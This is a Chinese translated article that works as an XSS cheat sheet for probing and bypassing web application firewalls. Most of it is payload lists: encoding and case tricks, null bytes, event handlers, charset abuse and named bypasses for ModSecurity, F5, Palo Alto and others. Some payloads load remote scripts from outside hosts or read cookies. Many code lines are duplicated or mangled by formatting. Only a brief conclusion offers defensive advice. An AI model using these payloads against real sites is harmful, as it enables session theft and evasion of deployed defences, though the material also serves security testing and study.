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XSS现代WAF规则探测及绕过技术

初始测试

1、使用无害的payload，类似<b>,<i>,<u>观察响应，判断应用程序是否被HTML编码，是否标签被过滤，是否过滤<>等等；

2、如果过滤闭合标签，尝试无闭合标签的payload（<b,<i,<marquee）观察响应；

3、尝试以下的payload

 <script>alert(1);</script> <script>prompt(1);</script> <script>confirm      (1);</script> <script src=”http://rhainfosec.com/evil.js”>

判断是否触发过滤规则，尝试使用大小写混合字符

 <scRiPt>alert(1);</scrIPt>

1	<scRiPt>alert(1);</scrIPt>

1、如果大小写不行的话，<script>被过滤尝试<scr<script>ipt>alert(1)</scr<script>ipt>；

2、使用<a>标签测试

 <a  href=“http://www.google.com”>Clickme</a>

1	<a href=“http://www.google.com”>Clickme</a>

<a被过滤？

href被过滤？

其他内容被过滤？

如果没有过滤尝试使用

 <a href=”javascript:alert(1)”>Clickme</a>

1	<a href=”javascript:alert(1)”>Clickme</a>

尝试使用错误的事件查看过滤

 <a href=”rhainfosec.com” onclimbatree=alert(1)>ClickHere</a>

1	<a href=“rhainfosec.com” onclimbatree=alert(1)>ClickHere</a>

HTML5拥有150个事件处理函数，可以多尝试其他函数

 <body/onhashchange=alert(1)><a href=#>clickit

1	<body/onhashchange=alert(1)><a href=#>clickit

测试其他标签

src属性

     <img src=x      onerror=prompt(1);>     <img/src=aaa.jpg      onerror=prompt(1);     <video src=x      onerror=prompt(1);>     <audio src=x      onerror=prompt(1);>

<img/src=aaa.jpg onerror=prompt(1);

iframe

     <iframesrc=”javascript:alert(2)”>     <iframe/src=”data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==”>

1 2	<iframesrc=“javascript:alert(2)”> <iframe/src=“data:text/html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==”>

Embed

     <embed/src=//goo.gl/nlX0P>

1	<embed/src=//goo.gl/nlX0P>

Action

     <form action=”Javascript:alert(1)”><input type=submit>     <isindex action=”javascript:alert(1)” type=image>     <isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>     <isindex action=data:text/html, type=image>

mario验证

 <span class=”pln”>    </span><span class=”tag”>&lt;formaction</span><span class=”pun”>=</span><span class=”atv”>&amp;#039;data:text&amp;sol;html,&amp;lt;script&amp;gt;alert(1)&amp;lt/script&amp;gt&amp;#039;</span><span class=”tag”>&gt;&lt;button&gt;</span><span class=”pln”>CLICK</span>

1	<span class=“pln”> </span><span class=“tag”><formaction</span><span class=“pun”>=</span><span class=“atv”>&#039;data:text&sol;html,&lt;script&gt;alert(1)&lt/script&gt&#039;</span><span class=”tag”>><button></span><span class=”pln”>CLICK</span>

“formaction”属性

     <isindexformaction=”javascript:alert(1)”      type=image>     <input type=”image” formaction=JaVaScript:alert(0)>     <form><button formaction=javascript&colon;alert(1)>CLICKME

<isindexformaction=“javascript:alert(1)” type=image>

<form><button formaction=javascript&colon;alert(1)>CLICKME

“background”属性

     <table background=javascript:alert(1)></table> // Works on Opera 10.5      and IE6

1	<table background=javascript:alert(1)></table> // Works on Opera 10.5 and IE6

“posters” 属性

     <video poster=javascript:alert(1)//></video> // Works Upto Opera 10.5

1	<video poster=javascript:alert(1)//></video> // Works Upto Opera 10.5

“data”属性

     <object data=”data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=”>     <object/data=//goo.gl/nlX0P?

1 2	<object data=“data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=”> <object/data=//goo.gl/nlX0P?

“code”属性

     <applet code=”javascript:confirm(document.cookie);”> // Firefox Only     <embed  code=”http://businessinfo.co.uk/labs/xss/xss.swf”      allowscriptaccess=always>

1 2	<applet code=“javascript:confirm(document.cookie);”> // Firefox Only <embed code=“http://businessinfo.co.uk/labs/xss/xss.swf” allowscriptaccess=always>

事件处理

     <svg/onload=prompt(1);>     <marquee/onstart=confirm(2)>/     <body onload=prompt(1);>     <select autofocus onfocus=alert(1)>     <textarea autofocus onfocus=alert(1)>     <keygen autofocus onfocus=alert(1)>     <video><source onerror=”javascript:alert(1)”>

<marquee/onstart=confirm(2)>/

短payload

     <q/oncut=open()>     <q/oncut=alert(1)> //      Useful in-case of payload restrictions.

1 2	<q/oncut=open()> <q/oncut=alert(1)> // Useful in-case of payload restrictions.

嵌套欺骗

     <marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>     <body  language=vbsonload=alert-1 // Works with IE8     <command onmouseover=”/x6A/x61/x76/x61/x53/x43/x52/x49/x50/x54/x26/x63/x6F/x6C/x6F/x6E/x3B/x63/x6F/x6E/x66/x6    9/x72/x6D/x26/x6C/x70/x61/x72/x3B/x31/x26/x72/x70/x61/x72/x3B”>Save</command>      // Works with IE8

<marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>

<body language=vbsonload=alert-1 // Works with IE8

<command onmouseover=“/x6A/x61/x76/x61/x53/x43/x52/x49/x50/x54/x26/x63/x6F/x6C/x6F/x6E/x3B/x63/x6F/x6E/x66/x6 9/x72/x6D/x26/x6C/x70/x61/x72/x3B/x31/x26/x72/x70/x61/x72/x3B”>Save</command> // Works with IE8

圆括号被过滤

     <a onmouseover=”javascript:window.onerror=alert;throw 1>     <img src=x onerror=”javascript:window.onerror=alert;throw 1″>     <body/onload=javascript:window.onerror=eval;throw&#039;=alert/x281/x29&#039;;

<body/onload=javascript:window.onerror=eval;throw'=alert/x281/x29';

Expression 属性

     <img style=”xss:expression(alert(0))”> // Works upto IE7.     <div style=”color:rgb(&#039;&#039;x:expression(alert(1))”></div>      // Works upto IE7.     <style>#test{x:expression(alert(/XSS/))}</style>      // Works upto IE7

<img style=“xss:expression(alert(0))”> // Works upto IE7.

<div style=“color:rgb(''x:expression(alert(1))”></div> // Works upto IE7.

“location”属性

     <a onmouseover=location=’javascript:alert(1)>click     <body onfocus=”location=&#039;javascrpt:alert(1) >123

1 2	<a onmouseover=location=’javascript:alert(1)>click <body onfocus=“location='javascrpt:alert(1) >123

其他Payload

     <meta http-equiv=”refresh”      content=”0;url=//goo.gl/nlX0P”>     <meta http-equiv=”refresh”      content=”0;javascript&colon;alert(1)”/>     <svg xmlns=”http://www.w3.org/2000/svg”><g      onload=”javascript:/u0061lert(1);”></g></svg> //      By @secalert     <svg xmlns:xlink=” r=100 /><animate attributeName=”xlink:href”      values=”;javascript:alert(1)” begin=”0s”      dur=”0.1s” fill=”freeze”/> // By Mario     <svg><![CDATA[><imagexlink:href="]]><img/src=xx:xonerror=alert(2)//”</svg>      // By @secalert     <meta content=”&NewLine; 1 &NewLine;;JAVASCRIPT&colon; alert(1)” http-equiv=”refresh”/>     <math><a xlink:href=”//jsfiddle.net/t846h/”>click // By Ashar Javed

<math><a xlink:href=“//jsfiddle.net/t846h/”>click // By Ashar Javed

（）；：被过滤

     <svg><script>alert&#40/1/&#41</script>      // Works With All Browsers     ( is html encoded to &#40     ) is html encoded to &#41

( is html encoded to &#40

) is html encoded to &#41

Opera的变量

     <svg><script>alert&#40      1&#41 // Works with Opera Only

1	<svg><script>alert&#40 1&#41 // Works with Opera Only

实体解码

 &lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt; <a  href=”j&#x26;#x26#x41;vascript:alert%252831337%2529″>Hello</a>

1 2	</script><script>alert(1)</script> <a href=“j&#x26#x41;vascript:alert%252831337%2529″>Hello</a>

编码

JavaScript是很灵活的语言，可以使用十六进制、Unicode、HTML等进行编码，以下属性可以被编码（支持HTML, Octal, Decimal,
Hexadecimal, and Unicode）

 href= action= formaction= location= on*= name= background= poster= src= code= data= //只支持base64

href=

action=

formaction=

location=

on*=

name=

background=

poster=

src=

code=

data= //只支持base64

基于上下文的过滤

WAF最大的问题是不能理解内容，使用黑名单可以阻挡独立的js脚本，但仍不能对xss提供足够的保护，如果一个反射型的XSS是下面这种形式

输入反射属性

 <input value=”XSStest” type=text>

1	<input value=“XSStest” type=text>

我们可以使用 “><imgsrc=x onerror=prompt(0);>触发，但是如果<>被过滤，我们仍然可以使用“ autofocusonfocus=alert(1)//触发，基本是使用“ 关闭value属性，再加入我们的执行脚本

 ” onmouseover=”prompt(0) x=” ” onfocusin=alert(1)     autofocus x=” ” onfocusout=alert(1)     autofocus x=” ” onblur=alert(1) autofocus     a=”

” onmouseover=”prompt(0) x=“

“ onfocusin=alert(1) autofocus x=“

“ onfocusout=alert(1) autofocus x=“

“ onblur=alert(1) autofocus a=“

输入反射在<script>标签内

类似这种情况：

 <script> Var x=”Input”; </script>

Var

x=”Input”;

</script>

通常，我们使用“></script>,闭合前面的</script>标签，然而在这种情况，我们也可以直接输入执行脚本alert(), prompt()
confirm() ，例如：

 “;alert(1)//

1	“;alert(1)//

非常规事件监听

DOMfocusin,DOMfocusout,等事件，这些需要特定的事件监听适当的执行。例如：

 “;document.body.addEventListener(“DOMActivate”,alert(1))// “;document.body.addEventListener(“DOMActivate”,prompt(1))// “;document.body.addEventListener(“DOMActivate”,confirm(1))//

“;document.body.addEventListener(“DOMActivate“,alert(1))//

“;document.body.addEventListener(“DOMActivate”,prompt(1))//

“;document.body.addEventListener(“DOMActivate“,confirm(1))//

此类事件的列表

 DOMAttrModified DOMCharacterDataModified DOMFocusIn DOMFocusOut DOMMouseScroll DOMNodeInserted DOMNodeInsertedIntoDocument DOMNodeRemoved DOMNodeRemovedFromDocument DOMSubtreeModified

DOMAttrModified

DOMCharacterDataModified

DOMFocusIn

DOMFocusOut

DOMMouseScroll

DOMNodeInserted

DOMNodeInsertedIntoDocument

DOMNodeRemoved

DOMNodeRemovedFromDocument

DOMSubtreeModified

超文本内容

代码中的情况如下

 <a href=”Userinput”>Click</a>

1 2	<a href=”Userinput”>Click</a>

可以使用javascript:alert(1)//直接执行<a
href=”javascript:alert(1)//”>Click</a>

变形

主要包含大小写和

JavaScript变形

     javascript&#058;alert(1)     javaSCRIPT&colon;alert(1)     JaVaScRipT:alert(1)     javas&Tab;cript:/u0061lert(1);     javascript:/u0061lert&#x28;1&#x29     javascript&#x3A;alert&lpar;document&period;cookie&rpar;      // AsharJaved

javascript:alert(1)

javaSCRIPT&colon;alert(1)

JaVaScRipT:alert(1)

javas&Tab;cript:/u0061lert(1);

javascript:/u0061lert(1&#x29

javascript:alert(document&period;cookie) // AsharJaved

IE10以下和URI中可以使用VBScript

     vbscript:alert(1);     vbscript&#058;alert(1);     vbscr&Tab;ipt:alert(1)”

vbscript:alert(1);

vbscr&Tab;ipt:alert(1)“

Data URl

     data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

1	data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

JSON内容

反射输入

     encodeURIComponent(&#039;userinput&#039;)

1	encodeURIComponent('userinput')

可以使用

     -alert(1)-     -prompt(1)-     -confirm(1)-

-alert(1)-

-prompt(1)-

-confirm(1)-

结果

     encodeURIComponent(&#039;&#039;-alert(1)-&#039;&#039;)     encodeURIComponent(&#039;&#039;-prompt(1)-&#039;&#039;)

1 2	encodeURIComponent(''-alert(1)-'') encodeURIComponent(''-prompt(1)-'')

输入反射在svg标签内

源码如下：

 <svg><script>varmyvar=”YourInput”;</script></svg>

1	<svg><script>varmyvar=”YourInput”;</script></svg>

可以输入

 www.site.com/test.php?var=text”;alert(1)//

1	www.site.com/test.php?var=text”;alert(1)//

如果系统编码了”字符

 <svg><script>varmyvar=”text&quot;;alert(1)//”;</script></svg>

1	<svg><script>varmyvar=“text";alert(1)//”;</script></svg>

原因是引入了附加的（XML）到HTML内容里，可以使用2次编码处理

浏览器BUG

字符集BUG

字符集BUG在IE中很普遍，最早的bug是UTF-7。如果能控制字符集编码，我们可以绕过99% 的WAF过滤。

示例

 http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS

1	http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS

可以控制编码，提交

 http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=”><img src=x onerror=prompt(0);>

1 2	http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=”><img src=x onerror=prompt(0);>

可以修改为UTF-32编码形式

 ∀㸀㰀script㸀alert(1)㰀/script㸀 http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

1 2	∀㸀㰀script㸀alert(1)㰀/script㸀 http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

空字节

最长用来绕过mod_security防火墙，形式如下：

     <scri%00pt>alert(1);</scri%00pt>     <scri/x00pt>alert(1);</scri%00pt>     <s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>

<scri%00pt>alert(1);</scri%00pt>

<scri/x00pt>alert(1);</scri%00pt>

<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>

空字节只适用于PHP 5.3.8以上的版本

语法BUG

RFC声明中节点名称不能是空格，以下的形式在javascript中不能运行

     <script>alert(1);</script>     <%0ascript>alert(1);</script>     <%0bscript>alert(1);</script>

<%0ascript>alert(1);</script>

<%0bscript>alert(1);</script>

<%, <//, <!,<?可以被解析成<，所以可以使用以下的payload

     <//     style=x:expression/28write(1)/29> // Works upto IE7

1	<// style=x:expression/28write(1)/29> // Works upto IE7

参考http://html5sec.org/#71

     <!–[if]><script>alert(1)</script     –> // Works upto IE9

1	<!–[if]><script>alert(1)</script –> // Works upto IE9

参考http://html5sec.org/#115

     <?xml-stylesheet     type=”text/css”?><root     style=”x:expression(write(1))”/> // Works in IE7

1	<?xml-stylesheet type=“text/css”?><root style=“x:expression(write(1))”/> // Works in IE7

参考 http://html5sec.org/#77

     <%div%20style=xss:expression(prompt(1))>     // Works Upto IE7

1	<%div%20style=xss:expression(prompt(1))> // Works Upto IE7

Unicode分隔符

[on/w+/s*]这个规则过滤了所有on事件，为了验证每个浏览器中有效的分隔符，可以使用fuzzing方法测试0×00到0xff，结果如下：

     IExplorer=     [0x09,0x0B,0x0C,0x20,0x3B]     Chrome =     [0x09,0x20,0x28,0x2C,0x3B]     Safari = [0x2C,0x3B]     FireFox=     [0x09,0x20,0x28,0x2C,0x3B]     Opera = [0x09,0x20,0x2C,0x3B]     Android =     [0x09,0x20,0x28,0x2C,0x3B]     x0b在Mod_security中已经被过滤，绕过的方法：     <a/onmouseover[/x0b]=location=&#039;/x6A/x61/x76/x61/x73/x63/x72/x69/x70/x74/x3A/x61/x6C/x65/x72/x74/x28/x30/x29/x3B&#039;>rhainfosec

IExplorer= [0×09,0x0B,0x0C,0×20,0x3B]

Chrome = [0×09,0×20,0×28,0x2C,0x3B]

Safari = [0x2C,0x3B]

FireFox= [0×09,0×20,0×28,0x2C,0x3B]

Opera = [0×09,0×20,0x2C,0x3B]

Android = [0×09,0×20,0×28,0x2C,0x3B]

x0b在Mod_security中已经被过滤，绕过的方法：

<a/onmouseover[/x0b]=location='/x6A/x61/x76/x61/x73/x63/x72/x69/x70/x74/x3A/x61/x6C/x65/x72/x74/x28/x30/x29/x3B'>rhainfosec

缺少X-frame选项

通常会认为X-frame是用来防护点击劫持的配置，其实也可以防护使用iframe引用的xss漏洞

Docmodes

IE引入了doc-mode很长时间，提供给老版本浏览器的后端兼容性，有风险，攻击情景是黑客可以引用你站点的框架，他可以引入doc-mode执行css表达式

 expression(open(alert(1)))

1	expression(open(alert(1)))

以下POC可以插入到IE7中

     <html>     <body>     <meta http-equiv=”X-UA-Compatible” content=”IE=EmulateIE7″ />     <iframesrc=”https://targetwebsite.com”>     </body>     </html>

<html>

<body>

<iframesrc=“https://targetwebsite.com”>

</body>

</html>

Window.name欺骗

情景：我们用iframe加载一个页面，我们可以控制窗口的名称，这里也可以执行javascript代码

POC

     <iframesrc=&#039;http://www.target.com?foo=”xss  autofocus/AAAAA  onfocus=location=window.name//&#039; name=”javascript:alert(“XSS”)”></iframe>

1 2	<iframesrc='http://www.target.com?foo=”xss autofocus/AAAAA onfocus=location=window.name//' name=“javascript:alert(“XSS“)”></iframe>

DOM型XSS

服务器不支持过滤DOM型的XSS，因为DOM型XSS总是在客户端执行，看一个例子：

     <script>     vari=location.hash;     document.write(i);     </script>

vari=location.hash;

document.write(i);

</script>

在一些情况下，反射型XSS可以转换成DOM型XSS：

   http://www.target.com/xss.php?foo=<svg/onload=location=/java/.source+/script/.source+location.hash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.hash[3]//#:()

1	http://www.target.com/xss.php?foo=<svg/onload=location=/java/.source+/script/.source+location.hash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.hash[3]//#:()

上面的POC只在[.+都被允许的情况下适用，可以使用location.hash注入任何不允许的编码

         Location.hash[1] = :  // Defined at the first position after     the hash.         Location.hash[2]= (  // Defined at the second position after     the has         Location.hash[3] = ) // Defined     at third position after the hash.

Location.hash[1] = : // Defined at the first position after the hash.

Location.hash[2]= ( // Defined at the second position after the has

Location.hash[3] = ) // Defined at third position after the hash.

如果有客户端过滤可能不适用

绕过

ModSecurity绕过

     <scri%00pt>confirm(0);</scri%00pt>     <a/onmouseover[/x0b]=location=&#039;/x6A/x61/x76/x61/x73/x63/x72/x69/x70/x74/x3A/x61/x6C/x65/x72/x74/x28/x30/x29/x3B&#039;>rhainfosec

1 2	<scri%00pt>confirm(0);</scri%00pt> <a/onmouseover[/x0b]=location='/x6A/x61/x76/x61/x73/x63/x72/x69/x70/x74/x3A/x61/x6C/x65/x72/x74/x28/x30/x29/x3B'>rhainfosec

参考http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html

WEB KNIGHT绕过

     <isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>     <marquee/onstart=confirm(2)>

1 2	<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image> <marquee/onstart=confirm(2)>

F5 BIG IP ASM and Palo ALTO绕过

     <table background=”javascript:alert(1)”></table> //IE6或者低版本Opera     “/><marquee  onfinish=confirm(123)>a</marquee>

1 2	<table background=“javascript:alert(1)”></table> //IE6或者低版本Opera “/><marquee onfinish=confirm(123)>a</marquee>

Dot Defender绕过

     <svg/onload=prompt(1);>      <isindex action=”javas&tab;cript:alert(1)” type=image>     <marquee/onstart=confirm(2)>

结论

黑名单方式永远不是最好的解决办法，但是相对与白名单效率很高，对于WAF供应商来说，最好的实践如下：

1、开发者和管理员要注意WAF只能缓解攻击，并且针对已知的弱点的防护只是和源代码修复的方法打个时间差；

2、要保持WAF的规则库更新；

3、WAF可以配置参数限制，需要提供手册用于配置参数content-length最大最小长度，content-type类型，在入侵时进行告警；

4、如果WAF依据黑名单，要确保可以阻断已知的浏览器BUG，并且相应规则库要及时更新。

[via@freebuf] 原作者：RAFAY BALOCH,TANZIL JAFFERY

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